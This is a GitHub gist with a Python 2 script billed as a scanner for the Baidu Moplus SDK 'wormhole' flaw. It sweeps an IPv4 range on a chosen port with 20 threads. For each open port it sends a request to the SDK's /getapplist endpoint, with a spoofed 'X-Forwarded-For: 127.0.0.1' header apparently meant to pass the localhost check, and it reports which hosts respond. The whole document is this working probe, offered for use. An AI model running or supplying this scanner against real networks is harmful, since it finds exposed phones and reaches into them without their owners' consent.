Skip to content

Instantly share code, notes, and snippets.

@darkr4y
Last active November 5, 2015 08:31
Show Gist options
  • Save darkr4y/71326e61f8bb2ea24656 to your computer and use it in GitHub Desktop.
Save darkr4y/71326e61f8bb2ea24656 to your computer and use it in GitHub Desktop.
simple baidu moplus sdk vuln aka wormhole scanner
#!/usr/bin/python
'''
convert curl to py request - http://curl.trillworks.com/
pip install ipaddr
pip install requests
'''
import requests
import sys
from ipaddr import IPv4Network
import socket
import time
import threading
import Queue
def scan():
global screenLock
while True:
target_ip , port = scanQueue.get()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
try:
sock.connect(( target_ip, int(port) ))
screenLock.acquire()
url = 'http://' + target_ip + ':' + str(port) + '/getapplist?mcmdf=inapp_&callback=m4bln_location_callback'
headers = {'X-Forwarded-For': '127.0.0.1'}
payload = requests.get(url ,timeout=5,headers=headers)
print "%s - port: %s , status: %s , payload_response: %s " % ( target_ip , port , True , payload.status_code )
screenLock.release()
sock.close()
#except requests.exceptions.ReadTimeout as e:
#screenLock.acquire()
#print "[HTTPError]" , e
#screenLock.release()
#pass
except socket.error as e:
screenLock.acquire()
print target_ip,':',port, " - not vlun!" , "[Error] " , e
screenLock.release()
pass
scanQueue.task_done()
if __name__ == '__main__':
if len(sys.argv) != 3:
print "Usage: \n scan.py 192.168.1.0/24 6259 \n scan.py 192.168.1.0/24 40310"
sys.exit()
ip_range = sys.argv[1]
port = sys.argv[2]
start_time = time.time()
iplist = []
net = IPv4Network(ip_range)
for host in net.iterhosts():
single_ip = repr(host)[13:-2]
iplist.append(single_ip)
scanQueue = Queue.Queue()
screenLock = threading.Lock()
for i in range(20):
t = threading.Thread(target=scan)
t.setDaemon(True)
t.start()
for scanip in iplist:
#print scanip
scanQueue.put((scanip,port))
try:
while True:
if scanQueue.empty() == False:
time.sleep(1)
else:
break
except KeyboardInterrupt:
print " - by DarkR4y ..."
sys.exit()
scanQueue.join()
end_time = time.time()
print "total time cost: %d s" % int(end_time - start_time)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment